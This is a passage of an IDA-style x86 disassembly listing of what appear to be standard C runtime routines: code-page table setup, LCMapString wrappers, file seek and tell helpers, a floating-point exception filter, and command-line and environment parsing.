sub_41C6E5+179j call sub_41C924 loc_41C872: ; CODE XREF: sub_41C6E5+1Dj xor eax, eax jmp short loc_41C879 ; --------------------------------------------------------------------------- loc_41C876: ; CODE XREF: sub_41C6E5+181j or eax, 0FFFFFFFFh loc_41C879: ; CODE XREF: sub_41C6E5+18Fj pop edi pop esi pop ebx leave retn sub_41C6E5 endp ; =============== S U B R O U T I N E ======================================= sub_41C87E proc near ; CODE XREF: sub_41C6E5+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_492874, 0 cmp eax, 0FFFFFFFEh jnz short loc_41C89E mov dword_492874, 1 jmp ds:dword_495470 ; --------------------------------------------------------------------------- loc_41C89E: ; CODE XREF: sub_41C87E+Ej cmp eax, 0FFFFFFFDh jnz short loc_41C8B3 mov dword_492874, 1 jmp ds:dword_49546C ; --------------------------------------------------------------------------- loc_41C8B3: ; CODE XREF: sub_41C87E+23j cmp eax, 0FFFFFFFCh jnz short locret_41C8C7 mov eax, dword_49289C mov dword_492874, 1 locret_41C8C7: ; CODE XREF: sub_41C87E+38j retn sub_41C87E endp ; =============== S U B R O U T I N E ======================================= sub_41C8C8 proc near ; CODE XREF: sub_41C6E5+118p ; sub_41C6E5+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41C8F5 sub eax, 4 jz short loc_41C8EF sub eax, 0Dh jz short loc_41C8E9 dec eax jz short loc_41C8E3 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C8E3: ; CODE XREF: sub_41C8C8+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41C8E9: ; CODE XREF: sub_41C8C8+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8C8+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41C8F5: ; CODE XREF: sub_41C8C8+9j mov eax, 411h retn sub_41C8C8 endp ; =============== S U B R O U T I N E ======================================= sub_41C8FB proc near ; CODE XREF: sub_41C6E5:loc_41C868p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_494140 rep stosd stosb xor eax, eax mov edi, offset dword_494020 mov dword_493FA0, eax mov dword_49402C, eax mov dword_494244, eax stosd stosd stosd pop edi retn sub_41C8FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C924 proc near ; CODE XREF: sub_41C6E5:loc_41C86Dp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_493FA0 call ds:dword_495468 ; GetCPInfo cmp eax, 1 jnz loc_41CA5D xor eax, eax mov esi, 100h loc_41C94E: ; CODE XREF: sub_41C924+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41C94E mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41C99F push ebx push edi lea edx, [ebp+var_D] loc_41C96D: ; CODE XREF: sub_41C924+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41C994 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41C994: ; CODE XREF: sub_41C924+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41C96D pop edi pop ebx loc_41C99F: ; CODE XREF: sub_41C924+42j push 0 lea eax, [ebp+var_514] push dword_494244 push dword_493FA0 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41EACD push 0 lea eax, [ebp+var_214] push dword_493FA0 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_494244 call sub_41CC29 push 0 lea eax, [ebp+var_314] push dword_493FA0 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_494244 call sub_41CC29 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41CA1A: ; CODE XREF: sub_41C924+135j mov dx, [ecx] test dl, 1 jz short loc_41CA38 or byte_494141[eax], 10h mov dl, [ebp+eax+var_214] loc_41CA30: ; CODE XREF: sub_41C924+127j mov byte_494040[eax], dl jmp short loc_41CA54 ; --------------------------------------------------------------------------- loc_41CA38: ; CODE XREF: sub_41C924+FCj test dl, 2 jz short loc_41CA4D or byte_494141[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41CA30 ; --------------------------------------------------------------------------- loc_41CA4D: ; CODE XREF: sub_41C924+117j and byte_494040[eax], 0 loc_41CA54: ; CODE XREF: sub_41C924+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41CA1A jmp short loc_41CAA6 ; --------------------------------------------------------------------------- loc_41CA5D: ; CODE XREF: sub_41C924+1Dj xor eax, eax mov esi, 100h loc_41CA64: ; CODE XREF: sub_41C924+180j cmp eax, 41h jb short loc_41CA82 cmp eax, 5Ah ja short loc_41CA82 or byte_494141[eax], 10h mov cl, al add cl, 20h loc_41CA7A: ; CODE XREF: sub_41C924+174j mov byte_494040[eax], cl jmp short loc_41CAA1 ; --------------------------------------------------------------------------- loc_41CA82: ; CODE XREF: sub_41C924+143j ; sub_41C924+148j cmp eax, 61h jb short loc_41CA9A cmp eax, 7Ah ja short loc_41CA9A or byte_494141[eax], 20h mov cl, al sub cl, 20h jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA9A: ; CODE XREF: sub_41C924+161j ; sub_41C924+166j and byte_494040[eax], 0 loc_41CAA1: ; CODE XREF: sub_41C924+15Cj inc eax cmp eax, esi jb short loc_41CA64 loc_41CAA6: ; CODE XREF: sub_41C924+137j pop esi leave retn sub_41C924 endp ; --------------------------------------------------------------------------- mov eax, dword_49402C neg eax sbb eax, eax and eax, dword_493FA0 retn ; =============== S U B R O U T I N E ======================================= sub_41CAB9 proc near ; CODE XREF: sub_41D1EE+9p ; sub_41D246+Dp ... cmp dword_494294, 0 jnz short locret_41CAD4 push 0FFFFFFFDh call sub_41C6E5 pop ecx mov dword_494294, 1 locret_41CAD4: ; CODE XREF: sub_41CAB9+7j retn sub_41CAB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD5 proc near ; CODE XREF: sub_417900+2Bp ; sub_417900+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_49402C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41CAF9 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416A10 add esp, 0Ch jmp short loc_41CB5C ; --------------------------------------------------------------------------- loc_41CAF9: ; CODE XREF: sub_41CAD5+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41CB3E mov ecx, [ebp+arg_4] loc_41CB04: ; CODE XREF: sub_41CAD5+5Bj mov al, [ecx] dec edx movzx esi, al test byte_494141[esi], 4 mov [edi], al jz short loc_41CB28 inc edi inc ecx test edx, edx jz short loc_41CB34 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41CB3A jmp short loc_41CB2E ; --------------------------------------------------------------------------- loc_41CB28: ; CODE XREF: sub_41CAD5+3Ej inc edi inc ecx test al, al jz short loc_41CB3E loc_41CB2E: ; CODE XREF: sub_41CAD5+51j test edx, edx jnz short loc_41CB04 jmp short loc_41CB3E ; --------------------------------------------------------------------------- loc_41CB34: ; CODE XREF: sub_41CAD5+44j and byte ptr [edi-1], 0 jmp short loc_41CB3E ; --------------------------------------------------------------------------- loc_41CB3A: ; CODE XREF: sub_41CAD5+4Fj and byte ptr [edi-2], 0 loc_41CB3E: ; CODE XREF: sub_41CAD5+2Aj ; sub_41CAD5+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41CB59 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41CB59: ; CODE XREF: sub_41CAD5+6Fj mov eax, [ebp+arg_0] loc_41CB5C: ; CODE XREF: sub_41CAD5+22j pop edi pop ebp retn sub_41CAD5 endp ; =============== S U B R O U T I N E ======================================= sub_41CB5F proc near ; CODE XREF: sub_417AD3+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41E5C2 test eax, eax pop ecx jz short loc_41CBE8 cmp esi, offset dword_436220 jnz short loc_41CB7D xor eax, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB7D: ; CODE XREF: sub_41CB5F+18j cmp esi, offset dword_436240 jnz short loc_41CBE8 push 1 pop eax loc_41CB88: ; CODE XREF: sub_41CB5F+1Cj inc dword_4929E8 test word ptr [esi+0Ch], 10Ch jnz short loc_41CBE8 cmp dword_492878[eax*4], 0 push ebx push edi lea edi, ds:492878h[eax*4] mov ebx, 1000h jnz short loc_41CBCE push ebx call sub_415CF8 test eax, eax pop ecx mov [edi], eax jnz short loc_41CBCE lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41CBDB ; --------------------------------------------------------------------------- loc_41CBCE: ; CODE XREF: sub_41CB5F+4Dj ; sub_41CB5F+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41CBDB: ; CODE XREF: sub_41CB5F+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41CBE8: ; CODE XREF: sub_41CB5F+10j ; sub_41CB5F+24j ... xor eax, eax pop esi retn sub_41CB5F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEC proc near ; CODE XREF: sub_417AD3+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41CC16 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41CC27 push esi call sub_41BF5F and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41CC16: ; CODE XREF: sub_41CBEC+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41CC27 push eax call sub_41BF5F pop ecx loc_41CC27: ; CODE XREF: sub_41CBEC+10j ; sub_41CBEC+32j pop esi retn sub_41CBEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC29 proc near ; CODE XREF: sub_417C24+A3p ; sub_41C557+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427828 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_492880, edi jnz short loc_41CC9F push edi push edi push 1 pop ebx push ebx push offset dword_427824 mov esi, 100h push esi push edi call ds:dword_495478 ; LCMapStringW test eax, eax jz short loc_41CC7D mov dword_492880, ebx jmp short loc_41CC9F ; --------------------------------------------------------------------------- loc_41CC7D: ; CODE XREF: sub_41CC29+4Aj push edi push edi push ebx push offset dword_4370B8 push esi push edi call ds:dword_495474 ; LCMapStringA test eax, eax jz loc_41CDB7 mov dword_492880, 2 loc_41CC9F: ; CODE XREF: sub_41CC29+2Ej ; sub_41CC29+52j cmp [ebp+arg_C], edi jle short loc_41CCB4 push [ebp+arg_C] push [ebp+arg_8] call sub_41CE4D pop ecx pop ecx mov [ebp+arg_C], eax loc_41CCB4: ; CODE XREF: sub_41CC29+79j mov eax, dword_492880 cmp eax, 2 jnz short loc_41CCDB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_495474 ; LCMapStringA jmp loc_41CDB9 ; --------------------------------------------------------------------------- loc_41CCDB: ; CODE XREF: sub_41CC29+93j cmp eax, 1 jnz loc_41CDB7 cmp [ebp+arg_18], edi jnz short loc_41CCF1 mov eax, dword_49289C mov [ebp+arg_18], eax loc_41CCF1: ; CODE XREF: sub_41CC29+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call ds:dword_4953EC ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41CDB7 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_416880 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41CD4C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41CD4C: ; CODE XREF: sub_41CC29+10Ej cmp [ebp+var_24], edi jz short loc_41CDB7 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_4953EC ; MultiByteToWideChar test eax, eax jz short loc_41CDB7 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_495478 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41CDB7 test byte ptr [ebp+arg_4+1], 4 jz short loc_41CDCB cmp [ebp+arg_14], edi jz loc_41CE46 cmp esi, [ebp+arg_14] jg short loc_41CDB7 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_495478 ; LCMapStringW test eax, eax jnz loc_41CE46 loc_41CDB7: ; CODE XREF: sub_41CC29+66j ; sub_41CC29+B5j ... xor eax, eax loc_41CDB9: ; CODE XREF: sub_41CC29+ADj ; sub_41CC29+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CDCB: ; CODE XREF: sub_41CC29+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_416880 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41CDFF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41CDFF: ; CODE XREF: sub_41CC29+1C2j cmp ebx, edi jz short loc_41CDB7 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_495478 ; LCMapStringW test eax, eax jz short loc_41CDB7 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41CE26 push edi push edi jmp short loc_41CE2C ; --------------------------------------------------------------------------- loc_41CE26: ; CODE XREF: sub_41CC29+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41CE2C: ; CODE XREF: sub_41CC29+1FBj push esi push ebx push 220h push [ebp+arg_18] call ds:dword_4953E8 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41CDB7 loc_41CE46: ; CODE XREF: sub_41CC29+165j ; sub_41CC29+188j mov eax, esi jmp loc_41CDB9 sub_41CC29 endp ; =============== S U B R O U T I N E ======================================= sub_41CE4D proc near ; CODE XREF: sub_41CC29+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41CE6A loc_41CE5D: ; CODE XREF: sub_41CE4D+1Bj cmp byte ptr [eax], 0 jz short loc_41CE6A inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41CE5D loc_41CE6A: ; CODE XREF: sub_41CE4D+Ej ; sub_41CE4D+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41CE75 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41CE75: ; CODE XREF: sub_41CE4D+21j mov eax, edx retn sub_41CE4D endp ; =============== S U B R O U T I N E ======================================= sub_41CE78 proc near ; CODE XREF: sub_417E44+67p ; sub_41A9D8+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_493F9C push esi push edi jnb short loc_41CEFA mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:493E60h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41CEFA push eax call sub_41ED9C cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41CEBC mov dword_4927F4, 9 jmp short loc_41CF0B ; --------------------------------------------------------------------------- loc_41CEBC: ; CODE XREF: sub_41CE78+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:dword_495390 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41CEDC call ds:dword_495328 ; RtlGetLastWin32Error jmp short loc_41CEDE ; --------------------------------------------------------------------------- loc_41CEDC: ; CODE XREF: sub_41CE78+5Aj xor eax, eax loc_41CEDE: ; CODE XREF: sub_41CE78+62j test eax, eax jz short loc_41CEEB push eax call sub_41C4E8 pop ecx jmp short loc_41CF0B ; --------------------------------------------------------------------------- loc_41CEEB: ; CODE XREF: sub_41CE78+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41CF0E ; --------------------------------------------------------------------------- loc_41CEFA: ; CODE XREF: sub_41CE78+Dj ; sub_41CE78+2Aj and dword_4927F8, 0 mov dword_4927F4, 9 loc_41CF0B: ; CODE XREF: sub_41CE78+42j ; sub_41CE78+71j or eax, 0FFFFFFFFh loc_41CF0E: ; CODE XREF: sub_41CE78+80j pop edi pop esi pop ebx retn sub_41CE78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF12 proc near ; CODE XREF: sub_417E44+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41CF2E mov [edi+4], ebx loc_41CF2E: ; CODE XREF: sub_41CF12+17j push 1 push ebx push esi call sub_41CE78 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41CF9C mov edx, [edi+0Ch] test dx, 108h jnz short loc_41CF53 sub eax, [edi+4] jmp loc_41D065 ; --------------------------------------------------------------------------- loc_41CF53: ; CODE XREF: sub_41CF12+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41CF8D mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_493E60[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41CFA4 mov edx, ecx loc_41CF7E: ; CODE XREF: sub_41CF12+79j cmp edx, eax jnb short loc_41CFA4 cmp byte ptr [edx], 0Ah jnz short loc_41CF8A inc [ebp+var_8] loc_41CF8A: ; CODE XREF: sub_41CF12+73j inc edx jmp short loc_41CF7E ; --------------------------------------------------------------------------- loc_41CF8D: ; CODE XREF: sub_41CF12+50j test dl, 80h jnz short loc_41CFA4 mov dword_4927F4, 16h loc_41CF9C: ; CODE XREF: sub_41CF12+2Dj or eax, 0FFFFFFFFh jmp loc_41D065 ; --------------------------------------------------------------------------- loc_41CFA4: ; CODE XREF: sub_41CF12+68j ; sub_41CF12+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41CFB2 mov eax, [ebp+var_8] jmp loc_41D065 ; --------------------------------------------------------------------------- loc_41CFB2: ; CODE XREF: sub_41CF12+96j test byte ptr [edi+0Ch], 1 jz loc_41D05D mov edx, [edi+4] test edx, edx jnz short loc_41CFCB and [ebp+var_8], edx jmp loc_41D05D ; --------------------------------------------------------------------------- loc_41CFCB: ; CODE XREF: sub_41CF12+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:493E60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41D057 push 2 push 0 push [ebp+var_C] call sub_41CE78 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41D01E mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41D009: ; CODE XREF: sub_41CF12+104j cmp eax, ecx jnb short loc_41D018 cmp byte ptr [eax], 0Ah jnz short loc_41D015 inc [ebp+arg_0] loc_41D015: ; CODE XREF: sub_41CF12+FEj inc eax jmp short loc_41D009 ; --------------------------------------------------------------------------- loc_41D018: ; CODE XREF: sub_41CF12+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41D052 ; --------------------------------------------------------------------------- loc_41D01E: ; CODE XREF: sub_41CF12+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41CE78 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41D045 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41D045 test ch, 4 jz short loc_41D048 loc_41D045: ; CODE XREF: sub_41CF12+124j ; sub_41CF12+12Cj mov eax, [edi+18h] loc_41D048: ; CODE XREF: sub_41CF12+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41D052: ; CODE XREF: sub_41CF12+10Aj jz short loc_41D057 inc [ebp+arg_0] loc_41D057: ; CODE XREF: sub_41CF12+D9j ; sub_41CF12:loc_41D052j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41D05D: ; CODE XREF: sub_41CF12+A4j ; sub_41CF12+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41D065: ; CODE XREF: sub_41CF12+3Cj ; sub_41CF12+8Dj ... pop edi pop esi pop ebx leave retn sub_41CF12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D06A proc near ; CODE XREF: sub_417ED0+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41D1AB test eax, eax pop ecx jz loc_41D19F mov ebx, [eax+8] test ebx, ebx jz loc_41D19F cmp ebx, 5 jnz short loc_41D09B and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41D1A8 ; --------------------------------------------------------------------------- loc_41D09B: ; CODE XREF: sub_41D06A+23j cmp ebx, 1 jz loc_41D19A mov ecx, dword_4928A4 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_4928A4, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41D18A mov ecx, dword_436120 mov edx, dword_436124 add edx, ecx push esi cmp ecx, edx jge short loc_41D0EA lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:4360B0h[esi*4] loc_41D0E1: ; CODE XREF: sub_41D06A+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41D0E1 loc_41D0EA: ; CODE XREF: sub_41D06A+69j mov eax, [eax] mov esi, dword_43612C cmp eax, 0C000008Eh jnz short loc_41D105 mov dword_43612C, 83h jmp short loc_41D175 ; --------------------------------------------------------------------------- loc_41D105: ; CODE XREF: sub_41D06A+8Dj cmp eax, 0C0000090h jnz short loc_41D118 mov dword_43612C, 81h jmp short loc_41D175 ; --------------------------------------------------------------------------- loc_41D118: ; CODE XREF: sub_41D06A+A0j cmp eax, 0C0000091h jnz short loc_41D12B mov dword_43612C, 84h jmp short loc_41D175 ; --------------------------------------------------------------------------- loc_41D12B: ; CODE XREF: sub_41D06A+B3j cmp eax, 0C0000093h jnz short loc_41D13E mov dword_43612C, 85h jmp short loc_41D175 ; --------------------------------------------------------------------------- loc_41D13E: ; CODE XREF: sub_41D06A+C6j cmp eax, 0C000008Dh jnz short loc_41D151 mov dword_43612C, 82h jmp short loc_41D175 ; --------------------------------------------------------------------------- loc_41D151: ; CODE XREF: sub_41D06A+D9j cmp eax, 0C000008Fh jnz short loc_41D164 mov dword_43612C, 86h jmp short loc_41D175 ; --------------------------------------------------------------------------- loc_41D164: ; CODE XREF: sub_41D06A+ECj cmp eax, 0C0000092h jnz short loc_41D175 mov dword_43612C, 8Ah loc_41D175: ; CODE XREF: sub_41D06A+99j ; sub_41D06A+ACj ... push dword_43612C push 8 call ebx pop ecx mov dword_43612C, esi pop ecx pop esi jmp short loc_41D192 ; --------------------------------------------------------------------------- loc_41D18A: ; CODE XREF: sub_41D06A+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41D192: ; CODE XREF: sub_41D06A+11Ej mov eax, [ebp+arg_0] mov dword_4928A4, eax loc_41D19A: ; CODE XREF: sub_41D06A+34j or eax, 0FFFFFFFFh jmp short loc_41D1A8 ; --------------------------------------------------------------------------- loc_41D19F: ; CODE XREF: sub_41D06A+Fj ; sub_41D06A+1Aj push [ebp+arg_4] call ds:dword_49547C ; UnhandledExceptionFilter loc_41D1A8: ; CODE XREF: sub_41D06A+2Cj ; sub_41D06A+133j pop ebx pop ebp retn sub_41D06A endp ; =============== S U B R O U T I N E ======================================= sub_41D1AB proc near ; CODE XREF: sub_41D06A+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_436128 cmp dword_4360A8, edx push esi mov eax, offset dword_4360A8 jz short loc_41D1D8 lea esi, [ecx+ecx*2] lea esi, ds:4360A8h[esi*4] loc_41D1CD: ; CODE XREF: sub_41D1AB+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41D1D8 cmp [eax], edx jnz short loc_41D1CD loc_41D1D8: ; CODE XREF: sub_41D1AB+16j ; sub_41D1AB+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:4360A8h[ecx*4] cmp eax, ecx jnb short loc_41D1EB cmp [eax], edx jz short locret_41D1ED loc_41D1EB: ; CODE XREF: sub_41D1AB+3Aj xor eax, eax locret_41D1ED: ; CODE XREF: sub_41D1AB+3Ej retn sub_41D1AB endp ; =============== S U B R O U T I N E ======================================= sub_41D1EE proc near ; CODE XREF: sub_417ED0+A5p cmp dword_494294, 0 jnz short loc_41D1FC call sub_41CAB9 loc_41D1FC: ; CODE XREF: sub_41D1EE+7j push esi mov esi, dword_494278 mov al, [esi] cmp al, 22h jnz short loc_41D22E loc_41D209: ; CODE XREF: sub_41D1EE+33j ; sub_41D1EE+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41D226 test al, al jz short loc_41D226 movzx eax, al push eax call sub_41F790 test eax, eax pop ecx jz short loc_41D209 inc esi jmp short loc_41D209 ; --------------------------------------------------------------------------- loc_41D226: ; CODE XREF: sub_41D1EE+21j ; sub_41D1EE+25j cmp byte ptr [esi], 22h jnz short loc_41D238 loc_41D22B: ; CODE XREF: sub_41D1EE+52j inc esi jmp short loc_41D238 ; --------------------------------------------------------------------------- loc_41D22E: ; CODE XREF: sub_41D1EE+19j cmp al, 20h jbe short loc_41D238 loc_41D232: ; CODE XREF: sub_41D1EE+48j inc esi cmp byte ptr [esi], 20h ja short loc_41D232 loc_41D238: ; CODE XREF: sub_41D1EE+3Bj ; sub_41D1EE+3Ej ... mov al, [esi] test al, al jz short loc_41D242 cmp al, 20h jbe short loc_41D22B loc_41D242: ; CODE XREF: sub_41D1EE+4Ej mov eax, esi pop esi retn sub_41D1EE endp ; =============== S U B R O U T I N E ======================================= sub_41D246 proc near ; CODE XREF: sub_417ED0+8Ep push ebx xor ebx, ebx cmp dword_494294, ebx push esi push edi jnz short loc_41D258 call sub_41CAB9 loc_41D258: ; CODE XREF: sub_41D246+Bj mov esi, dword_492840 xor edi, edi loc_41D260: ; CODE XREF: sub_41D246+30j mov al, [esi] cmp al, bl jz short loc_41D278 cmp al, 3Dh jz short loc_41D26B inc edi loc_41D26B: ; CODE XREF: sub_41D246+22j push esi call sub_4158E0 pop ecx lea esi, [esi+eax+1] jmp short loc_41D260 ; --------------------------------------------------------------------------- loc_41D278: ; CODE XREF: sub_41D246+1Ej lea eax, ds:4[edi*4] push eax call sub_415CF8 mov esi, eax pop ecx cmp esi, ebx mov dword_49281C, esi jnz short loc_41D29A push 9 call sub_417FC6 pop ecx loc_41D29A: ; CODE XREF: sub_41D246+4Aj mov edi, dword_492840 cmp [edi], bl jz short loc_41D2DD push ebp loc_41D2A5: ; CODE XREF: sub_41D246+94j push edi call sub_4158E0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41D2D6 push ebp call sub_415CF8 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41D2C9 push 9 call sub_417FC6 pop ecx loc_41D2C9: ; CODE XREF: sub_41D246+79j push edi push dword ptr [esi] call sub_4175D0 pop ecx add esi, 4 pop ecx loc_41D2D6: ; CODE XREF: sub_41D246+6Cj add edi, ebp cmp [edi], bl jnz short loc_41D2A5 pop ebp loc_41D2DD: ; CODE XREF: sub_41D246+5Cj push dword_492840 call sub_415D6C pop ecx mov dword_492840, ebx mov [esi], ebx pop edi pop esi mov 